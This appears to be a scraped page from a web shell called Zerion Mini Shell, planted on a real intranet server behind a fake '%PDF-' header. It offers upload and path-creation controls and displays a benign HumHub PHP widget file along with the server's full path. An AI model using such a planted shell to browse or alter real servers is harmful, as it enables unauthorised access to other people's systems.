%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/humhub/modules/space/widgets/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/humhub/modules/space/widgets/MyMembership.php

<?php


namespace humhub\modules\space\widgets;


use humhub\modules\space\models\Membership;
use humhub\modules\space\models\Space;
use humhub\widgets\TimeAgo;
use Yii;
use yii\base\Widget;

/**
 * Sidebar snippet which displays information about the current user's Space membership.
 *
 * @author Faeze
 * @since 1.7
 */
class MyMembership extends Widget
{
    /** @var Space */
    public $space;

    /**
     * @inheritDoc
     */
    public function run()
    {
        $membership = Membership::find()->where([
            'space_id' => $this->space->id,
            'user_id' => Yii::$app->user->id,
            'status' => Membership::STATUS_MEMBER
        ])->one();

        return $this->render('myMembership', [
            'role' => $this->space->getUserGroup(),
            'memberSince' => empty($membership) || empty($membership->created_at) ? null : TimeAgo::widget(['timestamp' => $membership->created_at])
        ]);
    }
}

Zerion Mini Shell 1.0